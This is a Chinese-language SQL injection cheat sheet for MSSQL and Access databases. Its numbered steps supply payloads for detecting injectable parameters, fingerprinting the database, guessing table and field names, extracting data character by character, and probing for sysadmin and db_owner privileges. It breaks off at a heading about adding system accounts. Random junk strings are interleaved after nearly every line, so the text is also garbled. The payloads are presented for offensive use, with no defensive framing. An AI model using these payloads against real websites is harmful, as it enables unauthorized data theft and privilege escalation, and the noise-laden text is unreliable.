1.判断是否有注入;and 1=1 ;and 1=2 G#Nh)ff
2.初步判断是否是mssql ;and user>0 \UGs_5OT
aIRCz=N
3.注入参数是字符'and [查询条件] and ''=' * ?rw'
Xl2Fgg}#
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ToCB*GlL
:!N 5daK
5.判断数据库系统 t\CVL?e`
Zdl Z,vK^.
;and (select count(*) from sysobjects)>0 mssql _V1O =iu-
Up*p*(d3
;and (select count(*) from msysobjects)>0 access hrNri$
OlRBvfoh8
k^p|H:
MH 'S,^J
6.猜数据库 ;and (select Count(*) from [数据库名])>0 tKo^A:M
un6grvxr
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 {LbcG^k
}7g\1l\
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 P@lExF*D1:
`T{{wty
9.(1)猜字段的ascii值(access) `w@fxv
X{9D fgW
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 K:V_,[gO
}v;@1[.B
(2)猜字段的ascii值(mssql) nDkyo>t.
%QVX1\>]
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 -G(z!ed
O:+#k-?
10.测试权限结构(mssql) <3LyNG.
KU"?ZI
y!1%Kqx1,n
s)_7*DY
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ]V<[W,*(5
uwyzxj
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Ii,e=RG>
{|^9y]VFu
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- x5WFPY$wM
I6M 7xn
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- GW
?.b_6*
:tedtV~
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3K @dW"3
UVUbxFq:
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @%O"P9;s
`]FA} wC
;and 1=(select IS_MEMBER('db_owner'));-- {K09U^JU
\d&j`UVY
yj `b-^$?
M9_
y>N[0
11.添加mssql和系统的帐户 mF%>pj&